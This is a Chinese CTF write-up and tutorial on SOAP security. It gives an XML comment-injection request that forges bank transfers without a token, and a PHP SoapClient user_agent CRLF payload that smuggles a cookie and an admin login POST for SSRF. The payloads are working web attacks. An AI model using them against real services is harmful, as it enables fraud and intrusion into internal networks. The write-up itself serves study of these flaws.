从几道CTF题看SOAP安全问题

前言

暑假的时候不学点东西,和咸鱼有什么区别?
在看一篇writeup的时候,发现又出现了SOAP
感觉似曾相识,却想不起来,于是温习一波~

 

SOAP基础知识

SOAP的基本概念

什么是SOAP?这就要从WebService说起了
WebService是一种跨平台,跨语言的规范,用于不同平台,不同语言开发的应用之间的交互。
比如在Windows Server服务器上有个C#.Net开发的应用A,在Linux上有个Java语言开发的应用B,B应用要调用A应用,或者是互相调用。用于查看对方的业务数据。这个时候,如何解决呢?
WebService就是出于以上类似需求而定义出来的规范:开发人员一般就是在具体平台开发webservice接口,以及调用webservice接口。每种开发语言都有自己的webservice实现框架。
而SOAP作为webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP 可以和现存的许多因特网协议和格式结合使用,包括超文本传输协议(HTTP),简单邮件传输协议(SMTP),多用途网际邮件扩充协议(MIME)。
简单而言,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式
SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。

SOAP的组成

一条 SOAP消息的组成:一个包含有一个必需的 SOAP 的封装包,一个可选的 SOAP 标头和一个必需的 SOAP 体块的 XML 文档。
SOAP消息格式:

<?xml
 version="1.0"?>
<soap:Envelope
 xmlns:soap="http://www.w3.org/2001/12/soap-envelope"
 soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">

<soap:Header>
</soap:Header>

<soap:Body>
<soap:Fault>
</soap:Fault>
</soap:Body>

</soap:Envelope>

其中
Envelope: 标识XML文档,具有名称空间和编码详细信息。
Header:包含标题信息,如内容类型和字符集等。
Body:包含请求和响应信息。
Fault:错误和状态信息。
而关于soap的漏洞,我将用两道ctf的案例进行讲解分析

 

SOAP漏洞利用之代码注入(一)

题目如下
我们有如下功能
1.Profile:显示我们的当前身份和余额,每人最开始都有110元
2.Menu:主页面
3.Transfer:允许我们输入接收者ID并发送金额
4.VIP:需要1,000,000元才能进入该页面,应该是flag了
5.For Developers:告知我们api正在开发中,无法使用,但是html注释中有api的链接
不难看出,这是突破点,于是打开api链接后api/bankservice.wsdl.php
不难提取如下两个SOAP API:
检查余额

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Bank">
  <soapenv:Header/>
  <soapenv:Body>
     <urn:requestBalance soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <wallet_num xsi:type="xsd:decimal">wallet_num</wallet_num>
     </urn:requestBalance>
  </soapenv:Body>
</soapenv:Envelope>

转账交易

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Bank">
  <soapenv:Header/>
  <soapenv:Body>
     <urn:internalTransfer soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <receiver_wallet_num xsi:type="xsd:decimal">receiver_wallet_num</receiver_wallet_num>
        <sender_wallet_num xsi:type="xsd:decimal">sender_wallet_num</sender_wallet_num>
        <amount xsi:type="xsd:float">amount</amount>
        <token xsi:type="xsd:string">token</token>
     </urn:internalTransfer>
  </soapenv:Body>
</soapenv:Envelope>

一目了然,对于余额检查,输入一个钱包id即可
而对于转账交易,需要输入接受者、发送者、发送金额、token四个参数
而我们需要理由的点,也肯定是转账交易了
这样就可以将所有用户的初始余额汇总到我们手上,以此得到flag
但是问题来了,我们缺少交易的token,那么如何不需要token,即可让所有人给我们转账呢?
这里就用到了一些注入
经过插入后,代码成为

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Bank">
  <soapenv:Header/>
  <soapenv:Body>
     <urn:internalTransfer soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <receiver_wallet_num xsi:type="xsd:decimal">我们自己的id</receiver_wallet_num>
        <sender_wallet_num xsi:type="xsd:decimal">其他人</sender_wallet_num>
        <!--
        </receiver_wallet_num>
        <sender_wallet_num xsi:type="xsd:decimal">sender_wallet_num</sender_wallet_num>
        <amount xsi:type="xsd:float"> 
      -->
        <amount xsi:type="xsd:float">750000</amount>
        <token xsi:type="xsd:string">token</token>
     </urn:internalTransfer>
  </soapenv:Body>
</soapenv:Envelope>

通过代码的拼接(有点类似于sql注入,但又不是,也是利用语句的拼接与注释),我们即可控制自己想控制的位置,已到达任意转账的目的

最后访问vip页面即可

 

SOAP漏洞利用之CRLF与SSRF(二)

这就要从php的soap说起了,正如之前所说每种开发语言都有自己的webservice实现框架,php也不例外:
PHP 的 SOAP 扩展可以用来提供和使用 Web Services
这个扩展实现了6个类。其中有三个高级的类: SoapClient、SoapServer 和SoapFault,
和三个低级类,它们是 SoapHeader、SoapParam 和 SoapVar。
他们的关系如下:

而我们的重点利用对象当然是soapclient类
而为什么soapclient会有CRLF(carriage return/line feed)注入攻击问题呢?
这又要从soapclient的一个选项说起,我们查阅PHP手册

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

其中的$options我们跟进查看

其中有一个选项为user_agent
可以让我们自定义User-Agent
为什么要利用User-Agent
因为http header里有一个重要的Content-Type为Content-Length
既然我们想要进行CRLF注入,那么势必需要控制这两项才可以实现
User-Agent的http header位置正好在这些之上,所以可以进行覆盖
对于Content-Type,如果我们想要利用CRLF发送post请求,那么要求它为application/x-www-form-urlencode
那么此时就可以利用CRLF,构造如下payload(以N1CTF的payload为例)

$payload = new SoapClient(null,array('user_agent'=>"testrnCookie: PHPSESSID=08jl0ttu86a5jgda8cnhjtvq32rnContent-Type: application/x-www-form-urlencodedrnContent-Length:45rnrnusername=admin&password=nu1ladmin&code=470837rnrnrn",'location'=>$location,
'uri'=>$uri));

即可进行CRLF攻击
这样的攻击有什么用?
我们假设我们可以从外网调用到soap的api
而攻击目标是在内网
那么就可以利用soap攻击内网,因为CRLF的原因,可以增加我们的攻击面,包括sql注入,命令执行等等
所以也可以说是SSRF攻击了

 

其他

和许多漏洞一样,如果实现不同功能的时候,接收到不同的恶意参数,那么也会引起各种各样的攻击
像是实现sql查询的功能,可以引起sql注入问题


实现lookupDNS web服务的功能时,可引起命令注入的问题

 

后记

soap作为重要的消息通讯连接,如果过滤或者使用不当,很容易引起许多高危攻击
而本人不才,可能有许多点还没注意到,如有更好的观点,还请斧正!

 

参考链接

https://www.cnblogs.com/kvienchen/p/8310798.html
http://blog.securelayer7.net/owasp-top-10-penetration-testing-soap-application-mitigation/

(完)